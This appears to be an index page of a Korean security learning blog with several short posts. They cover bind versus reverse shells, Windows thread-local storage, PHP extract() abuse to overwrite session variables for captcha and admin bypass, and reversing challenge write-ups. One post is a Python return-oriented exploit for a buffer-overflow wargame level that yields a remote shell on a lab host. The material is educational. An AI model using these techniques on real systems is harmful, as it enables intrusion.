'Categories'에 해당되는 글 103건

  1. 2013.10.28 ransomware
  2. 2013.10.24 바인드쉘, 리버스쉘
  3. 2013.10.21 TLS에 관한 간단한 탐구
  4. 2013.10.18 ImagePrc
  5. 2013.10.17 허..
  6. 2013.10.14 [BOF원정대/FC3] evil_wizard -> dark_stone
  7. 2013.10.13 php extract vulnerability
  8. 2013.10.11 CodeEngn Advance #2
  9. 2013.10.11 CodeEngn Advance #1
  10. 2013.10.11 os 판별 코드

ransomware

2013. 10. 28. 23:57

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

바인드쉘, 리버스쉘

2013. 10. 24. 18:18 from Security

바인드쉘은 피해자의 서버에서 포트를 열어놓고 공격자가 접속하는것이고..

리버스쉘은 공격자의 서버에서 포트를 열어놓고 피해자의 서버에서 공격자 서버로 접속하도록 유도하는것이다


그냥 햇갈려서ㅁㄴㅇ

'Security' 카테고리의 다른 글

Native API를 이용한 static 안티 디버깅 정리  (1) 2013.11.10
안티디버깅 간단 정리  (1) 2013.10.30
TLS에 관한 간단한 탐구  (0) 2013.10.21
허..  (0) 2013.10.17
php extract vulnerability  (0) 2013.10.13
Posted by xer0s :

TLS에 관한 간단한 탐구

2013. 10. 21. 23:26 from Security

TLS는 Thread Local Storage의 약자로 스레드별로 연관 데이터를 기록하기 위해 사용될수 있다.

예를 들어 스레드의 생성 시간을 저장할 수 있도록 각 스레드별로 공간을 마련하여 스레드가 종료될 때 이 값을 이용하여 스레드의 수행 시간을 계산할 수 있다.


TLS도 Dynamic TLS와 Static TLS로 나뉘는데 이들 각각은 애플리케이션과 DLL에서 사용할 수 있다.

Static TLS는 사실상 다룰 내용이 많이 없기 때문에 이번 포스팅에선 Dynamic TLS에 관해서 다뤄볼려한다.


애플리케이션에서 Dynamic TLS의 장점을 활용하려면 네 개의 함수를 이용해야되는데 실제로 이런 함수들은 

DLL 개발시 자주 사용되기도 한다. 아래 그림은 마이크로소프트가 TLS를 관리하기 위해 내부적으로 사용하는

자료 구조의 모습이다.



위 그림은 시스템에서 수행 중인 단일 프로세스에 포함되어 있는 사용 중인 플래그들의 집합을 보여준다.

각각의 플래그는 FREE 상태나 INUSE 상태가 될 수 있으며 이 플래그들은 각각의 TLS 슬롯이 사용 중인지의

여부를 나타낸다. 


Dynamic TLS를 사용하려면 가장 먼저 TlsAlloc 함수를 호출해야 하는데 이 함수는 프로세스 내의 비트 플래그 배열로부터 FREE플래그의 위치를 찾아내어 해당 플래그 값을 INUSE 상태로 변경하고 비트 플래그 배열에서의 인덱스를 반환한다. 


스레드가 생성되면 시스템은 해당 스레드와 연계되는 TLS_MINIMUM_AVAILABLE 개수의 PVOID형 배열을 할당하고 0으로 초기화 한다. 스레드 별로 존재하는 PVOID 배열에 값을 저장하기 전에 이 배열의 어느 요소가 사용 가능한지를 알아야 하는데 이를 위해 TlsAlloc 함수를 호출 했다.


스레드 배열 내에 값을 할당하기 위해서는 TlsSetValue 함수를 호출하면 된다.


BOOL TlsSetValue(

DWORD dwTlsIndex,

PVOID pvTlsValue);


이 함수는 스레드가 가지고 있는 배열에서 dwTlsIndex 매개변수 값을 인덱스로 하는 공간에 pvTlsValue 매개변수로 전달하는 값을 할당한다. 스레드는 이렇게 TlsSetValue 함수를 호출하여 자신이 소유하고 있는 배열의 값을 변경할 수 있지만 다른 스레드에 있는 배열의 값은 변경하지 못한다.


스레드 배열로부터 값을 얻어오기 위해서는 TlsGetValue 함수를 호출하면 된다.


PVOID TlsGetValue(DWORD dwTlsIndex);


이 함수는 스레드가 소유하고 있는 TLS 슬롯으로부터 dwTlsIndex번째 값을 가져온다. TlsSetValue 함수와 마찬가지로 TlsGetValue 함수를 호출하는 스레드는 자신이 소유하고 있는 배열에서만 값을 가져올 수 있다.


프로세스 내의 모든 스레드에서 앞서 예약하였던 TLS  슬롯을 더이상 사용할 필요가 없는 시점이 되면 TlsFree 함수를 호출하면 된다.


BOOL TlsFree(DWORD dwTlsIndex);


아래는 스레드는 40바이트 크기의 구조체를 가리키는 포인터를 함수를 최초로 호출할때 전달한다고 가정하고 이런 종류의 함수는 이 함수가 다시 호출될 때 앞서 전달된 구조체를 다시 사용할 수 있도록 그 값을 저장하도록 하는 코드이다.



DWORD g_dwTlsIndex; // TlsAlloc 함수의 반환 값으로 가정


...


void MyFunction(PSOMESTRUCT pSomeStruct)

{

if (pSomeStruct != NULL)

{


if (TlsGetValue(g_dwTlsIndex) == NULL)

{

TlsSetValue(g_dwTlsIndex, HeapAlloc(GetProcessHeap(), 0, sizeof(*pSomeStruct));

}


memcpy(TlsGetValue(g_dwTlsIndex), pSomeStruct, sizeof(*pSomeStruct));


}


else

{

pSomeStruct = (PSOMESTRUCT) TlsGetValue(g_dwTlsIndex);


...


}

} 



# Reference


제프리 리쳐의 Windows via c/c++ 

http://debugjung.tistory.com/45

http://studyfoss.egloos.com/5259841







'Security' 카테고리의 다른 글

안티디버깅 간단 정리  (1) 2013.10.30
바인드쉘, 리버스쉘  (0) 2013.10.24
허..  (0) 2013.10.17
php extract vulnerability  (0) 2013.10.13
RTL시 pop pop ret, exit 함수 호출의 원리  (2) 2013.09.26
Posted by xer0s :

ImagePrc

2013. 10. 18. 20:06

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

허..

2013. 10. 17. 23:23 from Security

패킹/언패킹은 감이 잘안와서 문서들좀 읽어보고 리버싱케알 푸는데..

너무 허무함....

허무..

ImagePrc도 알것 같은데 제대로 분석좀 해봐야겠다



'Security' 카테고리의 다른 글

바인드쉘, 리버스쉘  (0) 2013.10.24
TLS에 관한 간단한 탐구  (0) 2013.10.21
php extract vulnerability  (0) 2013.10.13
RTL시 pop pop ret, exit 함수 호출의 원리  (2) 2013.09.26
[Ollydbg 1.x] OllyMSDN plugin  (0) 2013.07.11
Posted by xer0s :



################

import time

import os

from socket import *

from struct import pack


p = lambda x : pack("<L", x) 

################


strcpy = 0x8048438

memcpy = 0x8048418

memcpy_got = 0x8049850

binsh = 0x8049878

str1 = 0x8048138

str2 = 0x80482b4

str3 = 0x804817c

str4 = 0x80484c8+8

str_slash = 0x8048114

str5 = 0x8048117

str6 = 0x8048116

str7 = 0x8048114+10

str8 = 0x8048746

str9 = 0x80481b8

ppr = 0x80484f3


################


payload = ''

payload += "\x41"*268

payload += p(strcpy)

payload += p(ppr)

payload += p(memcpy_got)

payload += p(str1)

payload += p(strcpy)

payload += p(ppr)

payload += p(memcpy_got+1)

payload += p(str2)

payload += p(strcpy)

payload += p(ppr)

payload += p(memcpy_got+2)

payload += p(str3)

payload += p(strcpy)

payload += p(ppr)

payload += p(memcpy_got+3)

payload += p(str4)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+1)

payload += p(str_slash)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+2)

payload += p(str5)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+3)

payload += p(str6)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+4)

payload += p(str_slash)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+5)

payload += p(str7)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+6)

payload += p(str8)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+7)

payload += p(str9)

payload += p(memcpy)

payload += "\x41"*4

payload += p(binsh)


###############


s = socket(AF_INET, SOCK_STREAM)

s.connect(('192.168.16.135',8888))

s.send(payload+'\n')

print s.recv(1024)

while True:

cmd = raw_input('$ ')

if cmd == 'exit':

s.close()

break

s.send(cmd+'\n')

result = s.recv(1024)

print result

time.sleep(2)

s.close() 


###############



익스플로잇에서 한참 삽질하고 있는데 s.send(cmd+'\n') 에서 BrokenPipe 에러가 나더라구요..

왜그런지 아시는분 도와주시면 감사하겠습니다..


'Wargame > LOB[FC]' 카테고리의 다른 글

[BOF원정대/FC3] hell_fire -> evil_wizard  (0) 2013.09.28
Posted by xer0s :

php extract vulnerability

2013. 10. 13. 17:20 from Security

php는 GET과 POST같은 Request 값을 받아 변수화 시켜주는 extract함수가 존재하는데

이 함수의 역할은 배열속의 키값들을 변수화 시키는 것이다.


예를들어 만약 배열 h속에 키값이 a, b 가 들어 있다고 가정하면


$h[a] = 1;

$h[b] = 2;

echo $h[a];

echo $h[b];


해줬을시 1, 2가 출력이 되는데

여기서 extract()를 사용하면


$h[a] = 1;

$h[b] = 2;

extract($h);

echo $a;

echo $b; 


이렇게 해줘도 1, 2가 출력이 되는것이다.


extract 함수는 보안적으로 문제가 있는 함수인데 바로 이 함수의 특성을 이용해 서버 변수 환경변수등을 포함해 이미 정의되 있는 변수를 덮어버릴수 있는것이다.

함수 자체의 옵션으로 이런 overwrite을 방지해주는 옵션이 있지만 default로 설정되있지 않으므로 보안 중요성을 모르는 개발자들이 이 함수를 썼다가 치명적 결함을 일으킬수도 있는것이다.


아래 코드를 봐보자.


session_start();

if(!isset($_SESSION['admin']))

{

$_SESSION['admin'] = false;

}

extract($_POST);


위 코드에서 php에서 미리 선언되 있는 $_SESSION array를 덮어버릴수 있는데

admin세션과 captcha등을 사용할 경우 captcha 세션도 덮어버릴수 있다.


예를들어 12345와 같은 임의의 captcha를 전송 했을때 아래와 같이 우회가 가능하다.



이렇게 captcha를 우회할수 있을 뿐더러 captcha를 정확히 입력해준뒤 아래와 같이 admin을 우회할수도 있다.




extract()이 취약하기 위한 몇가지의 조건이 있는데


1. 변수가 선언된뒤 extract()함수가 이용이 되어야 한다.

2. extract()로 인해 덮여진 변수가 다시 다른 값으로 뎦여진다면 취약하지 않다.

3. 공격자가 내부변수이름을 알아야 한다.

4. EXTR_SKIP이 옵션으로 선언되었을 경우 extract()함수는 취약하지 않다.


이렇게 4가지 정도가 있다.






'Security' 카테고리의 다른 글

TLS에 관한 간단한 탐구  (0) 2013.10.21
허..  (0) 2013.10.17
RTL시 pop pop ret, exit 함수 호출의 원리  (2) 2013.09.26
[Ollydbg 1.x] OllyMSDN plugin  (0) 2013.07.11
유용한 자료들..  (0) 2013.04.22
Posted by xer0s :

CodeEngn Advance #2

2013. 10. 11. 22:36 from Wargame

Level 02

정답은 무엇인가 

 

정답은 무엇인가라는 문구와 함께 파일이 하나 있습니다.

파일을 한번 실행시켜 보니 다음과 같이 패스워드를 받더군요



올리로 까서 All referenced text strings를 통해 저 Enter Password가 있는곳으로 가봤습니다.



004012D2에서 사용자 값을 입력 받고 F8로 쭉 trace를 하다 보면 004013C5 call near edx를 호출한 뒤 프로그램이 종료되는 것을 알 수가 있습니다. 그래서 call near edx함수 내부로 들어가봤더니 다음과 같은 코드들이 존재하였습니다.

 


특정 값들을 ecx(우리가 입력한 문자열이 들어있음)의 한글자식 비교해서 같지 않다면

0012F88A라는 곳(프로그램을 종료시키는 함수가 존재하는 곳입니다)으로 분기하고 있습니다. 적절하게 코딩을 해주면 답이 나옵니다.





'Wargame' 카테고리의 다른 글

CodeEngn Advance #1  (0) 2013.10.11
Posted by xer0s :

CodeEngn Advance #1

2013. 10. 11. 22:32 from Wargame

Level 01

프로그램은 밀리세컨드 후에 종료 되는가 
정답인증은 MD5 해쉬값(대문자) 변환 인증하시오 

 

UPX패킹이 되었으므로 패킹으로 풀어주고 디버깅을 진행합니다.

몇 밀리세컨드 후에 종료 되냐고 물어봤으므로 시간관련 함수를 찾아보니 timeGetTime 함수가 있었습니다

BreakPoint를 걸어주고 실행해본 결과 다음과 같은 코드에서 브포가 걸렸습니다.

위 코드를 봐보면 우선 timeGetTime함수를 호출해서 반환된 eax값을 esi에 넣어줬습니다. 그리고 00444C5F call near edi timeGetTime 함수를 한번 더 호출해준뒤 그 값이 전에 호출한 timeGetTime 값보다 크거나 같을 경우 jnb 명령을 통해 00444D38로 분기하게 됩니다. jnb를 따라가보면 다음과 같은 코드가 나옵니다.

eax esi의 차이를 구해 그게 ebx+4(337B)값보다 크거나 같으면 분기하고 그렇지 않으면 push 0A를 해준뒤 sleep함수를 호출합니다. 아마 ebx+4의 값이 정답 될 거 같아 337B값을 10진수로 변환해준 뒤 그 값을 md5해주니 인증이 되었습니다.


'Wargame' 카테고리의 다른 글

CodeEngn Advance #2  (0) 2013.10.11
Posted by xer0s :

os 판별 코드

2013. 10. 11. 17:34 from Programming

자신이 사용중인 os가 window 7인지 아닌지를 판별해주는 프로그램을 짜봤다.

리버싱 문제낼때 언제 한번 써먹어야 겠다.



#include <stdio.h>

#include <tchar.h>

#include <Windows.h>


int _tmain(int argc, TCHAR *argv[])

{

OSVERSIONINFOEX osver = {0, };

osver.dwOSVersionInfoSize = sizeof(osver);

osver.dwMajorVersion = 6;

osver.dwMinorVersion = 1;

osver.dwPlatformId = VER_PLATFORM_WIN32s;


DWORDLONG dwlConditionMask = 0;

VER_SET_CONDITION(dwlConditionMask, VER_MAJORVERSION, VER_EQUAL);

VER_SET_CONDITION(dwlConditionMask, VER_MINORVERSION, VER_EQUAL);

VER_SET_CONDITION(dwlConditionMask, VER_PLATFORMID, VER_EQUAL);


if(VerifyVersionInfo(&osver, VER_MAJORVERSION | VER_MINORVERSION | VER_PLATFORMID, dwlConditionMask))

_tprintf(TEXT("This system is Window 7\n"));

else

_tprintf(TEXT("This system is not Window 7\n"));


return 0;

}




'Programming' 카테고리의 다른 글

타이머 함수  (0) 2014.02.01
[dovelet]-crypt  (0) 2014.01.20
Binary Search  (0) 2013.07.18
좋은 사이트..  (0) 2013.07.13
c++ 급여 관리 시스템  (0) 2013.07.09
Posted by xer0s :